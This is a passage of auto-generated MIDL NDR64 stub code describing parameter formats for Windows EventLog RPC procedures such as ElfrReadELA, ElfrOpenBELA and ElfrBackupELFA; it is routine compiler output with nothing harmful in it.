\n    /* EventID */      /* parameter EventID */\n        &__midl_frag210,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag212,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag213,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag113,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag215,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag176,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag180,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag257,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag227,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* TimeWritten */      /* parameter TimeWritten */\n        &__midl_frag227,\n        { \n        /* TimeWritten */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        112 /* 0x70 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag159_t __midl_frag159 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 524287 /* 0x7ffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag158_t __midl_frag158 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag159\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag223\n    }\n};\n\nstatic const __midl_frag157_t __midl_frag157 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag158\n};\n\nstatic const __midl_frag156_t __midl_frag156 =\n{ \n/* RULONG */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 524287 /* 0x7ffff */\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/* ElfrReadELA */\n    { \n    /* ElfrReadELA */      /* procedure ElfrReadELA */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ReadFlags */      /* parameter ReadFlags */\n        &__midl_frag210,\n        { \n        /* ReadFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RecordOffset */      /* parameter RecordOffset */\n        &__midl_frag210,\n        { \n        /* RecordOffset */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesToRead */      /* parameter NumberOfBytesToRead */\n        &__midl_frag156,\n        { \n        /* NumberOfBytesToRead */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag158,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesRead */      /* parameter NumberOfBytesRead */\n        &__midl_frag258,\n        { \n        /* NumberOfBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* MinNumberOfBytesNeeded */      /* parameter MinNumberOfBytesNeeded */\n        &__midl_frag258,\n        { \n        /* MinNumberOfBytesNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag150_t __midl_frag150 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag149_t __midl_frag149 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag150\n};\n\nstatic const __midl_frag144_t __midl_frag144 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag223\n};\n\nstatic const __midl_frag143_t __midl_frag143 =\n{ \n/* ElfrOpenBELA */\n    { \n    /* ElfrOpenBELA */      /* procedure ElfrOpenBELA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 45 /* 0x2d */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag144,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag113,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag258,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag258,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag137_t __midl_frag137 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag134_t __midl_frag134 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag270\n};\n\nstatic const __midl_frag133_t __midl_frag133 =\n{ \n/* ElfrRegisterEventSourceA */\n    { \n    /* ElfrRegisterEventSourceA */      /* procedure ElfrRegisterEventSourceA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 45 /* 0x2d */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag134,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag113,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag113,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag274,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag274,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag132_t __midl_frag132 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag131_t __midl_frag131 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag130_t __midl_frag130 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag131\n};\n\nstatic const __midl_frag125_t __midl_frag125 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag124_t __midl_frag124 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag125\n};\n\nstatic const __midl_frag123_t __midl_frag123 =\n{ \n/* ElfrOpenELA */\n    { \n    /* ElfrOpenELA */      /* procedure ElfrOpenELA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 45 /* 0x2d */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag124,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag113,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag113,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag132,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag132,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag131,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag122_t __midl_frag122 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag121_t __midl_frag121 =\n{ \n/* *_RPC_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag120_t __midl_frag120 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag119_t __midl_frag119 =\n{ \n/* ElfrBackupELFA */\n    { \n    /* ElfrBackupELFA */      /* procedure ElfrBackupELFA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag120,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag113,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/*  */\n    { \n    /* *char */\n   